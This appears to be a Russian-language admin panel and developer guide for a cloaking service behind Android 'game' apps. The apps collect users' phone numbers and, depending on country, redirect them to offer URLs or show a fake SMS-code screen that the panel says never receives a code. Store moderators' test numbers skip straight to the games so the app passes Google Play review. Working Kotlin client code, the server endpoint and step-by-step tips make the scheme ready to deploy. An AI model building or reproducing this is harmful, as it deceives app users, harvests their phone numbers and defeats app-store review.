Создать мобильное приложение
Список приложений
0Нет приложений. Создайте первое!
По типам ответов
Топ стран
Фильтры
История запросов
0| IP адрес | Код страны | Номер телефона | Ответ | Время |
|---|---|---|---|---|
| Нет данных | ||||
Банер главной страницы
Изображение, которое будет показываться при переходе на ваш домен через браузер. Привяжите банер к конкретному приложению/сайту.
Выберите изображение или перетащите сюда
Максимальный размер: 5MB. Форматы: JPG, PNG, GIF, WebPВсе загруженные банеры
Нет загруженных банеров
Статус домена
Редактор политики конфиденциальности
Создайте политику конфиденциальности для вашего приложения. Текст автоматически опубликуется по адресу /privacy-policy вашего домена
Банер страницы Privacy Policy
Изображение, которое будет отображаться на странице политики конфиденциальности выбранного приложения (/privacy-policy). Хранится отдельно от банера главной страницы.
Выберите изображение или перетащите сюда
Максимальный размер: 5MB. Форматы: JPG, PNG, GIF, WebPТест API
Проверьте, как сервер среагирует на запрос с заданными параметрами, без записи в историю
Настройки сервера
Укажите IP-адрес вашего VPS/сервера. Он отображается в DNS-инструкциях при подключении доменов.
@ → —
Добавить домен
Управление доменами
| Домен | Приложение | DNS Статус | SSL Статус | Дата | Действия |
|---|---|---|---|---|---|
| Нет доменов | |||||
Быстрый старт для Android-разработчика
Создай приложение в админке
Перейди в 📱 Управление приложениями → «Создать мобильное приложение». Запомни ID приложения — он нужен в коде.
Настрой ссылки по странам
Нажми «Редактировать» → раздел «Настроить перенаправление» → выбери страну (+7, +1 и т.д.) → вставь URL своего оффера.
Добавь тестовые номера
В разделе «Тестовые номера» добавь номера для модераторов магазина — они попадут сразу на игровой экран без SMS.
Подключи в приложении
Один HTTP POST-запрос при вводе номера телефона — сервер вернёт что делать дальше.
API Endpoint
Запрос (JSON Body)
{
"app_id": "твой_app_id",
"country_code": "+7",
"phone_number": "9111234567"
}
| Поле | Тип | Описание |
|---|---|---|
app_id | string | ID из админ-панели |
country_code | string | Код страны: +7, +1 |
phone_number | string | Номер без кода страны |
Возможные ответы
{ "action": "REDIRECT",
"url": "https://offer.com/ru" }
→ Открыть url в WebView
{ "action": "OTP" }
→ Показать экран «Введите SMS». Код не придёт — пользователь ждёт
{ "action": "GAME" }
→ Пропустить на экран игр без проверки SMS
Логика работы сервера
Экран игр
Открыть URL
Фейковый SMS
Пример кода — Kotlin (Android)
// 1. build.gradle
implementation("com.squareup.retrofit2:retrofit:2.9.0")
implementation("com.squareup.retrofit2:converter-gson:2.9.0")
// 2. Модели данных
data class CheckRequest(
val app_id: String,
val country_code: String,
val phone_number: String
)
data class CheckResponse(
val action: String, // "REDIRECT" | "OTP" | "GAME"
val url: String? // только при action = "REDIRECT"
)
// 3. API интерфейс
interface AuthApi {
@POST("check")
fun check(@Body req: CheckRequest): Call<CheckResponse>
}
// 4. Клиент
val retrofit = Retrofit.Builder()
.baseUrl("https://avadarasem1.site/")
.addConverterFactory(GsonConverterFactory.create())
.build()
val api = retrofit.create(AuthApi::class.java)
// 5. Вызов при нажатии "Войти"
fun onLoginClick(countryCode: String, phone: String) {
val req = CheckRequest("твой_app_id", countryCode, phone)
api.check(req).enqueue(object : Callback<CheckResponse> {
override fun onResponse(call: Call<CheckResponse>,
res: Response<CheckResponse>) {
when (res.body()?.action) {
"REDIRECT" -> openWebView(res.body()!!.url!!)
"GAME" -> openGamesScreen()
else -> showFakeOtpScreen() // OTP или fallback
}
}
override fun onFailure(call: Call<CheckResponse>, t: Throwable) {
showFakeOtpScreen() // При ошибке сети — OTP
}
})
}
// build.gradle
implementation("com.squareup.okhttp3:okhttp:4.12.0")
// Вызов
fun checkPhone(countryCode: String, phone: String) {
val client = OkHttpClient.Builder()
.connectTimeout(10, TimeUnit.SECONDS)
.build()
val json = """
{"app_id":"твой_app_id",
"country_code":"$countryCode",
"phone_number":"$phone"}
""".trimIndent()
val request = Request.Builder()
.url("https://avadarasem1.site/check")
.post(json.toRequestBody("application/json".toMediaType()))
.build()
Thread {
try {
val response = client.newCall(request).execute()
val body = JSONObject(response.body!!.string())
runOnUiThread {
when (body.getString("action")) {
"REDIRECT" -> openWebView(body.getString("url"))
"GAME" -> openGamesScreen()
else -> showFakeOtpScreen()
}
}
} catch (e: Exception) {
runOnUiThread { showFakeOtpScreen() }
}
}.start()
}
<manifest>
<!-- ОБЯЗАТЕЛЬНО для HTTP/HTTPS запросов -->
<uses-permission
android:name="android.permission.INTERNET" />
<uses-permission
android:name="android.permission.ACCESS_NETWORK_STATE" />
<application
android:usesCleartextTraffic="false"
...>
<!-- WebView для открытия оффера -->
<activity android:name=".WebViewActivity"
android:exported="false" />
</application>
</manifest>
Советы
Если запрос упал (нет интернета, timeout) — всегда показывай OTP-экран. Никогда не пропускай на игры без ответа сервера.
Используй раздел 🧪 Тест API в этой панели — проверь все нужные страны и тестовые номера перед отправкой в магазин.
Обязательно добавь тестовые номера модераторов Google Play. Иначе они не пройдут авторизацию и приложение не пропустят.
Для каждого APK/бандла создавай отдельное приложение с уникальным app_id. Ссылки и номера настраиваются независимо.